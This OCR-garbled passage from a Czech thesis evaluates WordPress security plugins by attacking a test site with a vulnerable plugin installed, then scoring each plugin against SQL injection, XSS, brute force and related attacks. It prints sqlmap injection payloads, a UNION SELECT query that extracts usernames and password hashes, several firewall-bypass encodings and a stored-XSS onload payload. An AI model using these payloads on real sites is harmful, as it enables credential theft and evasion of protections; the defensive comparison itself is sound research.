Payload: season=1&league_id=1"' AND EXTRACTVALUE(3322,CONCAT(Ox5c,0x71707a6b71, (SELECT (ELT(3322=
3322,1))),0x7178767a71))-- KPsdématch_day=1&team_id=1

Type: AND/OR time-based blind

Title: MySQL >= 5.0. ND time-based blind (query SLEEP)

Payload: season=1&league_id=1"' AND (SELECT * FROM (SELECT(SLEEP(5)))tZVW)-- aVRO&match_day=1&tea
m id=1

[16:87:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.1

Zdroj: vlastni zpracovani

Hodnota parametru match znaci identifika¢ni Cislo zapasu v databazi. Pfi zadani URL
s odpovidajicim ID se na strance zobrazi soupefici tymy a skore zapasu. Existence
zranitelnosti v parametru match byla ovéfena manualné. K jeho hodnot¢ byl piidan Skodlivy
kod, pomoci kterého se tispéSné podatilo ziskat uzivatelské jméno a otisk hesla uzivatele

z databaze. Kod, ktery byl piidan je nasledujici:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user_pass,user_login,15,16,17,18,19,20
FROM wp_users ORDER BY year DESC -- .

Vytvorit Skodlivy kod bylo snadné diky znalosti nazvi tabulek, sloupcu a chybovym
zpravadm z databaze, které se v prub&hu utoku zobrazovaly. Vysledek uspé$ného utoku je

k nahlédnuti na nasledujicim obrazku (Obrazek 17).

Obréazek 17 - Ziskani uzivatelského jména a otisku hesla pomoci SQL Injection

ZKUSEBNI STRANKA
Upravit

$P$BDO0dd5IvNg3jQMsWxtofWZdYyPFSom. -
wordpressl9

Zdroj: vlastni zpracovani
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Bezpecnostni plugin systému WordPress by mél zamezit spusténi Skodlivého kédu pomoci
firewallu a vyzadat aktualizaci staré¢ho pluginu. Dale by mél umoznit zménit prefix nazvu

tabulek a zamezit zobrazovani chybovych zprav z databaze.
Jetpack

Pii instalaci pluginu Jetpack je soucasn€ nainstalovan plugin VaultPress, ktery umoziiuje
zalohovat celou aplikaci a pravideln¢ skenuje aplikaci a hleda malware, $kodlivy kod ¢i jiné
bezpe¢nostni problémy. Zjisténé problémy jsou pak zobrazeny v pluginu Jetpack.
VaultPress zaznamenal nainstalovany plugin LeagueManager a upozornil na existenci
vefejné znamé zranitelnosti. Zménu prefixu tabulek ¢i potlaceni chyb z databdze ani jeden

z plugint neumoziuje. Usp&iné se povedly provést oba vyse uvedené Gitoky.
Wordfence Security

Plugin Wordfence neumoziiuje vypnout chybové zpravy z databdze ani zménit prefix
tabulek. Aktualizaci viech plugind vyzaduje aZ po provedeni skenu celé aplikace. Utok na
parametr league_id prob&hl pomoci nastroje sqlmap uspésné. Vlozeni skodlivého kodu do
parametru match se zprvu nepodafilo, protoze firewall v pluginu Wordfence blokuje nékteré
SQL vyrazy jako UNION a SELECT. Po testovani nékolika moznych zapist téchto vyrazi
se nakonec podafilo ochranu obejit zapisem: +UNION+DISTINCT+SELECT+. Ziskani

uzivatelského jména a otisku hesla tak bylo nakonec tspésné.
iThemes Security

Plugin iThemes Security neumozfiuje vypnout chybové zpravy z databdze a ani
neupozoriiuje na zastaralou verzi pluginu. Utok nastrojem sqlmap se podatil bez problému
provest. Plugin iThemes Security stejné¢ jako Wordfence Security filtruje nékteré SQL
vyrazy. Nakonec se itok Gspésné podaiil provést nahrazenim UNION SELECT za u%6eion

se%6cect. Plugin dale umoziuje zménit prefix tabulek.
All In One WP Security & Firewall

Plugin All In One WP Security umoziuje zménit prefix tabulek, ovSem chybové zpravy
nepotlacuje a ani administratora neinformuje o zastaralém pluginu s existujici zranitelnosti.
Utok pomoci nastroje sqimap plugin zablokoval. Skodlivy kod v parametru match byl viak
proveden. Pfi analyze bylo déle zjiSténo, ze pfi zapnuté ochrané proti zjiSténi uzivatelského

jména se skodlivy kod nepodafi spustit. Divodem je fakt, Ze ve Skodlivém kodu je ndzev
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tabulky, kde jsou ulozeny uzivatelé. Plugin celou URL vyhodnoti jako pokus o ziskani
uzivatelského jména prosttednictvim parametru author. Pii zmén¢ tabulky, napf. na tabulku

wp_usermeta, kde jsou mimo jiné ulozeny session tokeny, se dotaz Gspés$né provede.
Sucuri Security

Plugin Sucuri Security nepotlacuje chybové zpravy z databaze, neumoziiuje zménit prefix
tabulek a ani neupozorfiuje na zastaraly plugin. Zaroven nezablokoval Utok nastrojem

sglmap a ani §kodlivy kod pfidany do URL.
Acunetix WP Security

Plugin Acunetix WP Security dokaze potlacit zobrazeni chybovych zprav a zmeénit prefix
tabulek. Informaci o zastaralém ¢i zranitelném pluginu neobsahuje. Oba utoky probé&hly
uspésné a administrator se v tomto pluginu muze spolehnout pouze na funkci Live Traffic,

ve které jsou zobrazeny jednotlivé utoky.
BulletProof Security

Plugin BulletProof Security umoziuje zménit prefix tabulky. Potladit chybové zpravy
z databaze nedokaze a o staré verzi pluginu administratora neinformuje. Nastroj sqlmap
zaznamenal existenci firewallu a injektdz parametru provedl neusp&sné. Skodlivy koéd
v parametru match byl po stejné upravé jako u pluginu iThemes spustén a citliva data se

podatilo z databéze ziskat.
Shield Security

Plugin Shield Security umoziiuje nastavit automatické aktualizace pluginti. Chybové zpravy
z databaze nepotladuje a zaroven neumoziuje zménit prefix tabulek. Utok nastrojem sqlmap
probéhl uspeésné. Shield Security chrani webové stranky proti vlozeni skodlivého kodu do
parametru match lépe nez doposud analyzované pluginy. SQL Injection se podatilo provést

az tehdy, byl-li vyraz UNION SELECT nahrazen nésledujicim vyrazem:
union%23foo*%2F*bar%0D%0Aselect%23fo0%0D %0A .
NinjaFirewall a NinjaScanner

Plugin NinjaFirewall neumozfiuje zménit prefix tabulek aani v nastaveni neobsahuje
moznost, kterou by Slo potlacit chybové zpravy z databdze. Informaci o zastaralé verzi
pluginu nezobrazuje. Béhem analyzy tohoto pluginu byly vyzkouseny vSechny mozné
zpusoby zapisu UNION SELECT, dostupné na webu OWASP (OWASP, 2017).

84



NinjaFirewall nepropustil ani jeden zplsob a ziskani citlivych udaju z databdze se

nepodatilo. Utok néastrojem sqlmap byl taktéz netispdsny.
SecuPress

Plugin SecuPress umoziiuje zménit prefix tabulek a v placené verzi administratora informuje
0 zastaralé verzi pluginu. Dale je mozné zamezit instalaci novych pluginti nebo instalaci
plugind &i $ablon ze souboru ZIP. Chybové zpravy z databaze nepotladuje. Utok pomoci
nastroje sqlmap byl Gspésny, a to i piesto, ze bylo v nastaveni povoleno blokovani nastroj,
které hledaji SQL Injection zranitelnosti. U utoku vyuzivajici zranitelnost v parametru
match musel byt vyraz UNION SELECT nahrazen stejnym vyrazem jako u pluginu

Wordfence. Diky této zméné se podatilo ziskat uzivatelské jméno a otisk hesla z databéze.

4.2.6  Cross-Site Scripting

Pro analyzu obrany proti Cross-Site Scripting byl do webovych stranek nainstalovan plugin,
ktery obsahuje zranitelnost umoznujici provést Stored XSS. Jedna se o plugin Embed Images
in Comment (Ascic, a dalsi, 2017), ktery v komentafi u ¢lanku vytvoii nahled obrazku na
zaklad¢ vlozené URL. Plugin ma v dob¢ psani této prace vice jak 300 aktivnich instalaci
a témef 3 000 stazeni. Zranitelnost byla nalezena ve verzi 0.5 (The WPScan Team, 2017).
Uspé&sny (tok je na obrazku nize (Obrazek 18) a URL, ktera byla do komentafe vlozena je

nasledujici:
"Image" http://codeseekah.com/1.jpg"onload="alert( xss )".jpg.

Obréazek 18 - XSS utok provedeny diky zranitelnosti v pluginu

test Web dp.vavo.cz fika

1.2.2018 (14:03)

Komentar ¢eka na schvalenti. ASS

OK

<SGRIPT>
</SCRIPT>

Zdroj: vlastni zpracovani

85



ma 4 body. Zbylé 2 body byly ptidéleny pluginu All In One WP Security & Firewall za
upozornéni pii stejném uzivatelském jméné a jméné zobrazovaném vedle ¢lanku. Pfidélené
body a potadi plugini v ochrané proti zjisténi uzivatelského jména je v nasledujici tabulce
(Tabulka 4).

Tabulka 4 - Komparace pluginii z hlediska obrany proti zjisténi uzivatelského jména

Nazev pluginu Body Poradi
Jetpack 0 7-10
Wordfence Security 8 2-4
iThemes Security 4 5-6
All In One WP Security & Firewall 10 1
Sucuri Security 0 7-10
Acunetix WP Security 0 7-10
BulletProof Security 0 7-10
Shield Security for WordPress 8 2-4
NinjaFirewall a NinjaScanner 8 2-4
SecuPress 4 5-6

Zdroj: vlastni zpracovani

4.3.2 Utok hrubou silou

U obrany proti Utoku hrubou silou bylo analyzovéano $est bezpe¢nostnich funkci, p¥icemz
kazda znich je pro celkovou bezpeCnost jinak podstatnd. Kvili tomu je kazdé
Z analyzovanych funkci pfidélen jiny maximdlni pocet bodi. Funkce, spolecné
s maximalnim poctem bodi, jsou v nasledujicim vyctu, ptfi¢emz poradi odpovida nazvim

sloupct v tabulce (Tabulka 5), kde jsou vysledky komparace:

1. Blokovani uzivatele ¢i IP adresy, z které je Utok na piihlaSovaci formulaf provadén
(30 bodt).
2. Zaznamenani apichledné zobrazeni chybnych piihlaSeni do administrace

a blokovanych uzivatelt, resp. IP adres (5 bodu).
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Veskeré komentafe musi byt schvaleny piedtim, nez jsou zobrazeny ostatnim uzivatelim.
Pfi schvalovani si ovSem administrator ¢i jiny uzivatel systému WordPress nemusi
Skodlivého kodu vSimnout. Uto¢nik tak v tomto pfipadé¢ miZe velice snadno ziskat citlivé

informace z prohlizece.

Pii analyze bezpecnostnich pluginii bylo zjiSténo, ze ani jeden z vybranych pluginil
neblokuje odeslani komentafe se Skodlivym koédem aani nevylepSuje defaultné
implementovanou validaci vystupu z databaze. Hlaska ,,xss* signalizujici Gspé$ny ttok se

zobrazila u vSech plugind.

U Stored XSS, tedy Cross-Site Scripting ttoku, kdy je skodlivy kod ukladan do databaze, je
uzite¢na funkce, ktera dokaze identifikovat Skodlivy kod v databazi. Z vybranych plugint
touto funkci disponuje pouze plugin BulletProof Security, ktery ovsem zadny skodlivy kéd

v databazi nenalezl.

Posledni analyzovanym prvkem byla moznost nastavit HTTP hlavi¢ky, které chrani
webovou aplikaci proti XSS ¢i dal§im Gtokim na uzivatele a atribut HttpOnly u hlavicky
Set-Cookies, ktery JavaScriptu zabranuje v pfistupu ke cookies. Analyzovany byly
nasledujici HTTP hlavicky:

1. X-Frame-Options,

2. X-XSS-Protection,

3. Content-Security-Policy,
4. X-Content-Type-Options.

V nésledujici tabulce (Tabulka 3) je pfehled vybranych plugini a informace, zda umoziiuje
danou hlavicku nastavit ¢i nikoliv. Poradi hlavicek ve vy¢tu odpovidd nazvim sloupcii.
Atribut HitpOnly ma cislo 5. Ovéfeni funk¢énosti nastavenych hlavicek a atributu HttpOnly

bylo provedeno pies prizkumnik v prohlize¢i Chrome.
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Tabulka 3 - Bezpecnostni HTTP hlavicky ve vybranych pluginech

Nazev pluginu 1 2 3 4 5

Jetpack Ne Ne Ne Ne Ne
Wordfence Security Ne Ne Ne Ne Ne
iThemes Security Ne Ne Ne Ne Ne
All In One WP Security & Firewall Ano Ne Ne Ne Ne
Sucuri Security Ano Ano Ne Ano Ne
Acunetix WP Security Ne Ne Ne Ne Ne
BulletProof Security Ne Ne Ne Ne Ne
Shield Security for WordPress Ano Ano Ano Ano Ne
NinjaFirewall a NinjaScanner Ano Ano Ano Ano Ano
SecuPress Ne Ne Ne Ne Ne

Zdroj: vlastni zpracovani
4.3 Komparace vybranych plugint

K ziskani celkového potadi bezpecnostnich plugint z hlediska jejich efektivnosti byly
nejprve provedeny komparace pro jednotlive hackovaci techniky, resp. utoky. Celkové

poradi pak bylo sestaveno na zaklad¢ potadi z téchto komparaci.

Jelikoz neexistuji data, pomoci kterych by se dala stanovit priorita analyzovanych obrannych
mechanisma a funkci, tak byla tato priorita stanovena subjektivné na zakladé odbornych
zkuSenosti autora této prace. Z divodu objektivity komparace byl vytvofen kompara¢ni
nastroj, resp. webova aplikace, ve které uzivatel v interaktivnim dotazniku stanovi priority
obrannych mechanismi a funkci. Ziskané hodnoty z dotazniku a analyzy bezpe¢nostnich

plugint aplikace vyhodnoti a poskytne vysledné pofadi pluging.

4.3.1 Zjisténi uzivatelského jména

Ochrana proti zjisténi uzivatelského jména je hodnocena 10 body. Body jsou rovnomérné

rozdéleny do zabezpeceni parametru author a URL wp-json/wp/v2/users. Kazdé zabezpeceni
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3. Moznost nastaveni po¢tu pokust, po kterych je IP adresa zablokovana, délka jeji
blokace a zména URL piihlaSovaciho formulate (15 bodi).

4. Vynuceni silneho uzivatelského hesla (5 bodu).

5. Moznost nastaveni captchy a dvoufazového ptihlaSeni u prihlasovaciho formulaie
(15 bodi).

6. Zabranéni Gtoku hrubou silou na XML-RPC (30 bodu).

Ochrana proti Utoku hrubou silou na pfihlasovaci formulai a XML-RPC byla na zakladé
grafu (Obrézek 4) z webu Wordfence, kde je patrné velice podobné mnozstvi utokd,
ohodnocena stejnym poctem bodl. Zablokovani uzivatele nebo IP adresy po nékolika

vvvvvv

Z celkového mozného bodového ohodnoceni.

Monitorovani neocekavanych udalosti, jako jsou netspésné pokusy nebo blokované IP
adresy, je na zaklad¢ teoretickych poznatkt dualezitou casti obranného mechanismu.
Administrator muze byt v€as upozornén alIP adresu zablokovat ru¢né. Samotné
monitorovani ov§em ttok hrubou silou nechrani, a proto je pluginu piidéleno za tuto funkci

maximalné 5 bodu.

Nastaveni poc¢tu povolenych pokust o ptihlaSeni, Casové délky blokace IP adresy a zména
URL v pfihlasovacim formulafi je podle pouzitych zdroji z hlediska bezpecnosti velice
dilezita. Piisnéjsi nastaveni hodnot snizuje pravdépodobnost tspésného utoku, a proto byla

tato funkce ohodnocena 15 body.

vvvvvv

je, Ze se zvySujici se mirou slozitosti hesla se Castéji stava, Ze si uzivatel heslo nékam zapiSe.
Vzniké tak riziko kradeze hesla. Vynuceni silného hesla bylo hodnoceno stejnym pocétem

bodt jako monitorovani neo¢ekavanych udalosti, tj. 5 bodu.

Stejné jako u prisn€jSiho nastaveni blokaci IP adres dochazi pouzitim captchy nebo
dvoufazového piihlaseni Kk snizeni pravdépodobnosti uspésného ttoku, a proto byla tato
obrana hodnocena také 15 body. Dale je popsano, jakym zptsobem byly jednotlivé body

ud¢lovany.

Pokud plugin blokoval IP adresu a utok nastrojem WPScan se zcela nepodafil, pak byl
ptidélen plny pocet bodu, tj. 30. Plugin Shield Security for WordPress ziskal pouze 15 bodu,

protoze Utok nastrojem WPScan nezablokoval. Pfi nastaveni dlouhé délky blokace se titok
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nepodafril, ale pfi mensi hodnoté se ndstroj WPScan trefil do doby, kdy pokus o pifihlaseni
blokovan nebyl a heslo tak bylo uhodnuto. U pluginu Sucuri Security, bylo u této funkce
odecteno 5 bodu, protoze blokaci IP adresy proved| firewall, ktery je slozity ke konfiguraci

a neni zcela soucasti pluginu.

Zaznamenani chybnych ptihlaseni bylo hodnoceno 2 body a dostupnost piehledu
se zablokovanymi IP adresami 1 bodem. Pokud jsou oba ptehledy ptimo na nasténce pluginu
nebo je-li administrator informovan e-mailem, pak byl udélen dalsi 1 bod. Existence funkce
pro monitorovani neo¢ekavanych udalosti v realném ¢ase byla hodnocena 1 bodem. Pluginu
Sucuri Security byl ode¢ten 1 bod, protoze blokované IP adresy a monitorovani

neocekavanych udalosti v redlném case je dostupné pouze na webovych strankach Sucuri.

Zména URL ptihlasovaciho formuléie byla hodnocena 5 body. Nastaveni povoleného poctu
pokust o piihlaseni a délka blokace IP adresy byla hodnocena dohromady 10 body. Pokud
plugin urcoval horni a spodni hranici téchto hodnot a neumoznoval zadat libovolnou

hodnotu, pak byl odec¢ten 1 bod.

Defaultné je mozné ve WordPressu zadat heslo ozna¢ené jako ,,pramérné®. Plugin, ktery
vynucuje heslo oznacené jako ,,bezpecné dostal 3 body. Za vynucenou kombinaci ¢isla

a textu nebo kombinaci malého a velkého pisma byl v obou ptipadech udélen 1 bod.

Moznost nastavit dvoufazovou autentizaci byla hodnocena 10 body. Ptidani captchy do
piihlasovaciho formulafe bylo ohodnoceno pouze 5 body, protoze je oproti dvoufazovému

ptihlaSeni snazsi captchu obejit, napt. pomoci OCR.

Plugin, ktery neumoznoval zcela vypnout podporu XML-RPC ziskal 0 5 bodti méné, nez je
maximalni po€et bodl za ,,Zabranéni utoku hrubou silou na XML-RPC*. Pokud se podatilo
utok na XML-RPC provést ipies zapnutou ochranu proti ttoku hrubou silou a plugin
zaroven obsahuje moznost podporu XML-RPC zcela vypnout, pak mu bylo ptidéleno 15
bodi. U pluginu NinjaFirewall bylo odecteno 5 bodi, protoze Sice umoznuje vypnout
podporu XML-RPC a dokazal zablokovat utok, ovSem pouze pii nastaveni captchy nebo
ptihlasovaciho formulafe na xmlrpc.php, coz déla napojeni mobilni aplikace na tuto

vvvvvv

zabezpeceni nenastavi.
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Tabulka 5 - Komparace pluginii z hlediska obrany proti itoku hrubou silou

Nazev pluginu 1)23|4|5]6 CSI‘I’(‘:?’n PoFadi
Jetpack 30{0|0]|0(10|0 40 8
Wordfence Security 305,94 |0 125 73 4
iThemes Security 300 3|15 3|0 |30 81 2
All In One WP Security & Firewall |30 | 3 |15]| 0 | 5 |30 83 1
Sucuri Security 25141001525 69 5
Acunetix WP Security 0Oj1|]0|0(|07]O 1 10
BulletProof Security 0310|0570 18 9
Shield Security for WordPress 15| 3|10 0 |15|15 58 7
NinjaFirewall a NinjaScanner 305/ 0|0|5 125 65 6
SecuPress 301 4 15| 0 15|15 79 3

Zdroj: vlastni zpracovani

4.3.3 Malware

Ochrana proti malwaru byla hodnocena 10 body. Rozeznani kazdého vlozeného nebo
upraveného souboru bylo hodnoceno 2 body. Dalsi 4 body ziskal plugin za moznost napravy,
tj. smazani soubord ¢i vraceni do ptivodniho stavu, a moznost zobrazit konkrétni zmény
v upraveném souboru. Jeden bod byl odecten v piipadé, Ze §lo skenovani slozité spustit nebo
v piipadé, Ze S§lo skenovani zmén v souborech obejit. Vysledky komparace plugini

Z hlediska obrany proti vlozenému malwaru jsou v nasledujici tabulce (Tabulka 6).
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Tabulka 6 - Komparace pluginii z hlediska obrany proti vioZenému malwaru

Nazev pluginu Body Poradi
Jetpack 0 7-10
Wordfence Security 9 2
iThemes Security 5 3-5
All In One WP Security & Firewall 5 3-5
Sucuri Security 2 6
Acunetix WP Security 0 7-10
BulletProof Security 0 7-10
Shield Security for WordPress 0 7-10
NinjaFirewall a NinjaScanner 5 3-5
SecuPress 10 1

Zdroj: vlastni zpracovani

4.3.4  Pristup k souborim s citlivymi informacemi

Ke komparaci plugini z hlediska ochrany proti pfistupu k souboram s citlivymi
informacemi byla pouzita tabulka (Tabulka 2) v kapitole 4.2.4, kde jsou jiz jednotlive
obranné funkce bodové ohodnoceny. V nasledujici tabulce (Tabulka 7) je soucet bodi

a konec¢né potadi pluginti.
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Tabulka 7 - Komparace pluginii z hlediska obrany proti pristupu k souboriim s citlivymi informacemi

Nazev pluginu Body Poradi
Jetpack 0 10
Wordfence Security 5 9
iThemes Security 31 3
All In One WP Security & Firewall 33 1-2
Sucuri Security 10 7-8
Acunetix WP Security 22 4
BulletProof Security 21 5
Shield Security for WordPress 15 6
NinjaFirewall a NinjaScanner 10 7-8
SecuPress 33 1-2

Zdroj: vlastni zpracovani

4.3.5 SQL Injection

V kapitole 4.2.5 byly popsany dva utoky SQL Injection, které bylo mozné provést diky
bezpecnostni dife v jednom z nainstalovanych plugini. K prvnimu ttoku se vyuzil nastroj
sqlmap, ktery sekvenci nékolika moznych Skodlivych koédi detekoval zranitelnost

v parametru league_id. V ptipadé zablokovani tohoto Utoku byly pluginu udéleny 3 body.

Druhy utok byl proveden manualné a vyuzila se zranitelnost parametru match. Vlozenim
Skodlivého koédu se podafilo ziskat uzivatelské jméno a otisk hesla z databaze. Nékteré
pluginy filtrovali vyraz UNION SELECT z URL, avSak nahrazenim tohoto vyrazu za jiny
ckvivalent se podafilo filtrovani obejit a Skodlivy kod spustit. Plugin ziskal 4 body, pokud
zcela blokoval utok na parametr match. V piipadé, Ze bylo nutné vyraz UNION SELECT
nahradit, tak byly udéleny 2—-3 body podle toho, kolik ekvivalentnich vyrazi, dostupnych na
(OWASP, 2017), se podatilo provést. Plugin All In One WP Security & Firewall ziskal 1 bod

navic, za filtrovani nazvu tabulky wp_users v URL.
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Déle byla analyzovana moznost zménit prefix tabulek v databazi, potlacit chyby z databéze
a upozornéni na starou verzi pluginu ¢i jeho automaticka aktualizace. Kazdy ze zminénych
prvkd byl hodnocen 1 bodem. Celkem mohl plugin za obranu proti SQL Injection ziskat
10 bodu.

Vysledky komparace plugini z hlediska obrany proti SQL Injection jsou v nasledujici
tabulce (Tabulka 8).

Tabulka 8 - Komparace pluginz z hlediska obrany proti SQL Injection

Nazev pluginu Body Poradi
Jetpack 1 9
Wordfence Security 3 6-7
iThemes Security 3 6-7
All In One WP Security & Firewall 5 3
Sucuri Security 0 10
Acunetix WP Security 2 8
BulletProof Security 6 2
Shield Security for WordPress 4 4-5
NinjaFirewall a NinjaScanner 7 1
SecuPress 4 4-5

Zdroj: vlastni zpracovani

4.3.6  Cross-Site Scripting

K porovnani plugini z hlediska obrany proti Cross-Site Scripting byla pouzita tabulka
(Tabulka 3) v kapitole 4.2.6. V tabulce jsou informace otom, které z bezpe¢nostnich
hlavicek slouzicich k ochrané proti XSS a dal$im Utoklim na uZzivatele umoziuje plugin
nastavit. Kromé hlavicek bylo analyzovano, zda plugin blokuje vlozeni komentéie se
Skodlivym kodem. Ukazalo se, Ze zadny z pluginti tak necinni, a proto jiz dale nebyla tato

ochrana hodnocena.

94



Kazda hlavi¢ka byla hodnocena 2 body. Celkem mohl plugin ziskat 10 bodi. V nasledujici

tabulce (Tabulka 9) je vysledek komparace plugint z hlediska obrany proti XSS a dalsim

utokuim na uZivatele.

Tabulka 9 - Komparace pluginii z hlediska obrany proti XSS a dalsim utokiim na uZivatele

Néazev pluginu Body Poiadi
Jetpack 0 5-10
Wordfence Security 0 5-10
iThemes Security 0 5-10
All In One WP Security & Firewall 2 4
Sucuri Security 6 3
Acunetix WP Security 0 5-10
BulletProof Security 0 5-10
Shield Security for WordPress 8 2
NinjaFirewall a NinjaScanner 10 1
SecuPress 0 5-10

Zdroj: vlastni zpracovani

4.3.7 Souhrnné zhodnoceni

Nésledujici tabulka (Tabulka 10) importovana z programu Excel obsahuje poradi ze vSech

Sesti komparaci. Potadi, které se skladalo z rozmezi 2 hodnot bylo zprimérovano. Hodnoty

jsou zvyraznény barevnymi kolecky. Cervena barva znaci nejhor$i umisténi, zlutd umisténi

dobré a zelena barva vyborné.
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Tabulka 10 - Poradi plugini v jednotlivych komparacich

Nazev pluginu 1 2 3 4 5 6
Jetpack @85 | 8 |[@sg5 |@ 10 @ 9 |@ 75
Wordfence Security @ 3|0 4@ 2@ 9 65 |@ 75
iThemes Security 55 |[@ 2 [0 4@ 3 65 @ 75
A_II In One WP Security & @ 1@ 1 sl@iwsl@ 3|0 s
Firewall

Sucuri Security @85 (0 5|0 6 @75 |@ 10 |@ 3
Acunetix WP Security 285 | 10 @85 [@ 4 |@ 8 |D 75
BulletProof Security @85 @ 9 |@s85 | 5 @ 2 (@75
Shield Security for @ 3|10 7l@ss|o 6045 @ 2
WordPress

NinjaFirewall + NinjaScanner|@ 3 6 4 @75 (@ 1@ 1
SecuPress 55 @ 3@ 1 |® 15 |0 45 |@ 75

Zdroj: vlastni zpracovani

V dalsi tabulce (Tabulka 11) je souhrnné zhodnoceni jednotlivych komparaci plugind. Pro
stanoveni kone¢ného potadi byl proveden prosty soucet pofadi z jednotlivych komparaci.
Ziskana hodnota byla nasledné odectena od souctu nejhorSich moznych potadi, tj. od 60.
Vysledna hodnota je ve sloupci ,,Body*. Plugin s nejvétsim po¢tem bodd je z hlediska

obrany proti vybranym Utokiim nejefektivné;si.
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Tabulka 11 - Souhrnné zhodnoceni jednotlivych komparaci plugini

Nazev pluginu Verze Body Poradi
5.7, placena

Jetpack (216 CZK/mésic) 8,5 10

Wordfence Security 6.3.22, bezplatna 28 6

iThemes Security 6.8.0, bezplatna 31,5 4

All In One WP Security & Firewall | 4.3.1, bezplatna 45,5 1

1.8.11, placena

Sucuri Security (10 USD/mésic) 20 7

Acunetix WP Security 4.0.5, bezplatna 13,5 9

BulletProof Security 2.8, bezplatna 19,5 8

Shield Security for WordPress 6.2.2, bezplatna 29 5

NinjaFirewall a NinjaScanner 36a 1'11 37,5 2
bezplatna

SecuPress 1.3.3, placena 37 3

(50 EUR/rok)

Zdroj: vlastni zpracovani

Na nasledujicim obrazku (Obrazek 19) je graf, ve kterém je srovnani plugini z hlediska
popularity a zjisténé efektivnosti. Z divodu lepsi piehlednosti v grafu bylo poradi prevedeno
na body. Hodnota 10tedy znaCi nejlepsi umisténi. Velkého rozdilu efektivnosti
a pouzivanosti si Ize v§imnou u pluginu SecuPress a NinjaFirewall. Prave tyto dva pluginy
skoné¢ily na druhém, resp. tfetim misté v celkové komparaci. Lze tedy ocekavat, ze

popularita téchto pluginti ¢asem poroste.
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Obréazek 19 - Graf porovnavajici poradi pluginii v jejich efektivnosti a popularité

Srovnani efektiynosti a pouZivanosti pluglnu
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Zdroj: vlastni zpracovani

4.3.8 Komparaéni nastroj

V ramci komparace bezpe¢nostnich pluginii byly body u jednotlivych obranych mechanismii
a funkci stanoveny na zakladé odbornych zkuSenosti autora této prace. Z divodu zvysSeni
objektivity komparace byl vytvoien kompara¢ni nastroj, resp. webova aplikace, ktery bézi
na adrese https://wpsecurity.vavo.cz.

Webova aplikace je zdmérné psana v anglickém jazyce, aby byla pouzitelnd pro vétsi
skupinu lidi. Krom¢ zékladnich informaci o diplomové praci a analyzovanych pluginech,
obsahuje aplikace interaktivni dotaznik, ve kterém uzivatel uréi priority analyzovanych
obrannych mechanismu a funkci, které byly pouzity v dfive popsané komparaci. Dotaznik
ma celkem sedm otazek, pfi¢emz Sest z nich odpovida analyzovanym utokim. Posledni

otazka slouzi k ur€eni priority té€chto ttoku.
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Na zakladé¢ priorit z dotazniku a zjisténych nedostatk pfi analyze bezpec¢nostnich plugint
jsou vypocteny body pro vSechny utoky. Tyto body jsou dale procentualné snizeny na
zaklad¢ priorit Gitoku stanovenych v posledni otazce dotazniku. Nasledné je proveden soucet

téchto bodd u kazdého pluginu a je sestaveno kone¢ného poradi bezpe¢nostnich plugind.

Na nasledujicim obrazku (Obrazek 20) je ukazka vystupu generovaného webovou aplikaci

pro pluginy, které se umistili na prvnim, druhém a tfetim miste.

Obrazek 20 - Ukdzka celkového poradi z komparacniho nastroje

YOUR FINAL COMPARISON

OF WORDPRESS SECURITY PLUGINS

All In One WP Security & Firewall

322 0 4.3.1, free 600 000 43
points times on this place plugin version active installations overall usage vs. efficiency

Access WordPress Brute force attack Malware Access sensitive SQL Injection Attacking users
usernames 56.35 points. 52.07 points files 40.58 points 16.67 points.
83.34 points 73.48 points

NinjaFirewall + NinjaScanner

0 3.6and 1.1, free 24000 r7
times on this place plugin version active installations overall usage vs. efficiency
Access WordPress Brute force attack Malware Access sensitive SQL Injection Attacking users
usernames 45.64 points 52.07 points files 43.87 points 83.33 points
71.43 points 22.73 points
SecuPress
0 1.3.3, paid version 8 000 »r7
times on this place plugin version active installations overall usage vs. efficiency
Access WordPress Brute force attack Malware Access sensitive SQL Injection Attacking users
usernames 71.83 points 83.33 points files 32.9 points 0 points
35.72 points 73.48 points

Zdroj: (Vodicka, 2018)
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5 VysledKky a diskuse

Piestoze existuje spousta bezpe¢nostnich plugind, tak jen né€kolik z nich obsahuje dostatek
funkci proti nejbéznéjsim utokim. Celkem bylo analyzovano deset nejpouzivanéjsich
bezpecnostnich plugini proti Sesti nejb&éznéjsim ttokim. Nejdulezitéjsi vysledky analyzy

pluginti z hlediska obrany proti jednotlivym titoktim jsou popsany v nésledujici kapitole.
51 Vysledky

Béhem analyzy bezpecnostnich plugini bylo zjisténo, ze pouze plugin Wordfence Security,
All In One WP Security, Shield Security a NinjaFirewall chrani webovou aplikaci proti
ziskani uzivatelského jména pomoci nastroje WPScan. Vsechny tyto pluginy dokazaly také
zabranit  zjiSténi uzivatelského jména z parametru author v URL az adresy
Iwp-json/wp/v2/users. Plugin iThemes Security a SecuPress zabrénil alesponl v zjisténi
uzivatelského jména z adresy /wp-json/wp/v2/users. V nékterych Sablonach, lze uzivatelské
jmeéno ziskat z URL v odkazu umisténém vedle nazvu ¢lanku. Odkaz vede na stranku se
vSemi ¢lanky daného autora. Uzivatel s neomezenymi pravy by nikdy nemél pridavat ¢lanek,
protoze bylo zjiSténo, Ze ani jeden z analyzovanych pluginii tento zpusob ziskani
uzivatelského jména nechrani. Pouze plugin All In One WP Security alespoii upozorfiuje na

shodné uzivatelské jméno se jménem zobrazovanym vedle ndzvu ¢lanku.

Utok hrubou silou byl provadén na ptihlasovaci formulaf a webovou sluzbu XML-RPC.
Kromé zablokovani obou utokd bylo analyzovano, zda plugin zaznamenava a piehledné
zobrazuje chybna pfihlaseni a blokované IP adresy nebo zda vynucuje silné uzivatelské
heslo. Dale bylo analyzovano, zda plugin umoziiuje zménit URL piihlasovaciho formuléfe,
nastavit captchu ¢i dvoufdzové prihlaSovani nebo nastavit pocet netispéSnych pokust, po
kterych je IP adresa zablokovana a délku této blokace. Pti analyze bylo zjisténo, ze plugin
Acunetix WP Security neobsahuje funkci, ktera by blokovala IP adresu nebo uZzivatele po
netspésnych pokusech o ptihlaseni. Plugin BulletProof Security sice blokovani ma, ale ani
jeden utok zablokovan nebyl. Oba pluginy skonéily v komparaci z hlediska obrany proti
utoku hrubou silou nejhtire. O néco 1épe dopadl plugin Jetpack, ktery zablokoval Gtok na
ptihlasovaci formulat, ale itok na XML-RPC se mu zablokovat nepodatilo. Ostatni pluginy
dokazaly oba utoky zcela nebo alesponl castecné zablokovat. Ze vSech plugini dopadl

z hlediska obrany proti Utoku hrubou silou nejlépe plugin All In One WP Security.
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Malware byl vlozen do existujiciho souboru /wp-content/themes/twentysixteen/404.php
